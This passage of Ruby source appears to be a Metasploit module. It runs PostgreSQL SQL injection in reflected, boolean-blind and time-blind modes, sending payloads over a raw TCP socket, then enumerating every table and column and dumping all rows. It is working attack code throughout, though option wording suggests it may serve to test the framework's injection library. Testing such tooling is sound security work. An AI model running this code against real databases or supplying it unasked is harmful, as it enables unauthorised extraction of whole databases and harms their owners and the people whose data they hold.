|
||||
OptString.new('TARGETURI', [true, 'The target URI', '/']),
|
||||
OptInt.new('SQLI_TYPE', [true, '0)Regular. 1) BooleanBlind. 2)TimeBlind', 0]),
|
||||
OptBool.new('SAFE', [false, 'Use safe mode', false]),
|
||||
OptString.new('ENCODER', [false, 'an encoder to use (hex for example)', '']),
|
||||
OptBool.new('HEX_ENCODE_STRINGS', [false, 'Replace strings in the query with hex numbers?', false]),
|
||||
OptInt.new('TRUNCATION_LENGTH', [true, 'Test SQLi with truncated output (0 or negative to disable)', 0])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def boolean_blind
|
||||
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
|
||||
sqli = create_sqli(dbms: PostgreSQLi::BooleanBasedBlind, opts: {
|
||||
encoder: encoder,
|
||||
hex_encode_strings: datastore['HEX_ENCODE_STRINGS']
|
||||
}) do |payload|
|
||||
sock = TCPSocket.open(datastore['RHOST'], datastore['RPORT'])
|
||||
sock.puts('0 or ' + payload + ' --')
|
||||
res = sock.gets.chomp
|
||||
sock.close
|
||||
res && !res.include?('No results')
|
||||
end
|
||||
unless sqli.test_vulnerable
|
||||
print_bad("Doesn't seem to be vulnerable")
|
||||
return
|
||||
end
|
||||
perform_sqli(sqli)
|
||||
end
|
||||
|
||||
def reflected
|
||||
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
|
||||
truncation = datastore['TRUNCATION_LENGTH'] <= 0 ? nil : datastore['TRUNCATION_LENGTH']
|
||||
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: {
|
||||
encoder: encoder,
|
||||
hex_encode_strings: datastore['HEX_ENCODE_STRINGS'],
|
||||
truncation_length: truncation,
|
||||
safe: datastore['SAFE']
|
||||
}) do |payload|
|
||||
sock = TCPSocket.open(datastore['RHOST'], datastore['RPORT'])
|
||||
sock.puts('0 union ' + payload + ' --')
|
||||
res = sock.gets.chomp
|
||||
sock.close
|
||||
res
|
||||
end
|
||||
unless sqli.test_vulnerable
|
||||
print_bad("Doesn't seem to be vulnerable")
|
||||
return
|
||||
end
|
||||
perform_sqli(sqli)
|
||||
end
|
||||
|
||||
def time_blind
|
||||
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
|
||||
sqli = create_sqli(dbms: PostgreSQLi::TimeBasedBlind, opts: {
|
||||
encoder: encoder,
|
||||
hex_encode_strings: datastore['HEX_ENCODE_STRINGS']
|
||||
}) do |payload|
|
||||
sock = TCPSocket.open(datastore['RHOST'], datastore['RPORT'])
|
||||
sock.puts('0 or ' + payload + ' --')
|
||||
sock.gets
|
||||
sock.close
|
||||
end
|
||||
unless sqli.test_vulnerable
|
||||
print_bad("Doesn't seem to be vulnerable")
|
||||
return
|
||||
end
|
||||
perform_sqli(sqli)
|
||||
end
|
||||
|
||||
def perform_sqli(sqli)
|
||||
print_good "dbms: #{sqli.version}"
|
||||
tables = sqli.enum_table_names
|
||||
print_good "tables: #{tables.join(', ')}"
|
||||
tables.each do |table|
|
||||
columns = sqli.enum_table_columns(table)
|
||||
print_good "#{table}(#{columns.join(', ')})"
|
||||
content = sqli.dump_table_fields(table, columns)
|
||||
content.each do |row|
|
||||
print_good "\t" + row.join(', ')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
case datastore['SQLI_TYPE']
|
||||
when 0
|
||||
reflected
|
||||
when 1
|
||||
boolean_blind
|
||||
when 2
|
||||
time_blind
|
||||
else
|
||||
print_bad('Unsupported SQLI_TYPE')
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue